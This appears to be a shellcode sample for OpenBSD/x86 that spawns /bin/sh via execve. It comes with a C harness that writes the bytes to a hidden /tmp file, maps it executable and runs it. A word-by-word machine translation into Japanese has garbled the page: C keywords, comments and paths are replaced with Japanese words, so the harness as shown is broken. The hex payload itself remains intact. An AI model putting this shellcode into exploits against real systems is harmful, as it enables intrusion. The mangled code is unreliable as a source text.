このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* * [OpenBSD/x86] * Shellcode for: execve("/貯蔵所/sh", ["/貯蔵所/sh"], NULL) * 23 bytes * hophet [at] gmail.com * http://www.nlabs.com.br/~hophet/ * * Fancy mappings by iruata souza (muzgo) * iru.muzgo!gmail.com * http://openvms-激しく揺するs.com/~muzgo/ */ #含む <sys/types.h> #含む <sys/stat.h> #含む <sys/mman.h> #含む <err.h> #含む <fcntl.h> #含む <stdio.h> #含む <string.h> #含む <unistd.h> char shellcode[] = "\x99" /* cltd */ "\x52" /* 押し進める %edx */ "\x68\x6e\x2f\x73\x68" /* 押し進める $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /* 押し進める $0x69622f2f */ "\x89\xe3" /* mov %esp,%ebx */ "\x52" /* 押し進める %edx */ "\x54" /* 押し進める %esp */ "\x53" /* 押し進める %ebx */ "\x53" /* 押し進める %ebx */ "\x6a\x3b" /* 押し進める $0x3b */ "\x58" /* pop %eax */ "\xcd\x80"; /* int $0x80 */ /* * Since shellcode above will be mapped in .rodata (read-only 保護), * we need to 令状 it to a とじ込み/提出する and 地図/計画する the とじ込み/提出する with PROT_EXEC in order * to 遂行する/発効させる it. */ int main(無効の) { 無効の (*p)(); int fd; fd=open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR); if(fd < 0) err(1, "open"); 令状(fd, shellcode, strlen(shellcode)); if((lseek(fd, 0L, SEEK_SET)) < 0) err(1, "lseek"); p = (無効の (*)())mmap(NULL, strlen(shellcode), PROT_READ|PROT_EXEC, NULL, fd, NULL); if (p == (無効の (*)())MAP_FAILED) err(1, "mmap"); p(); return 0; }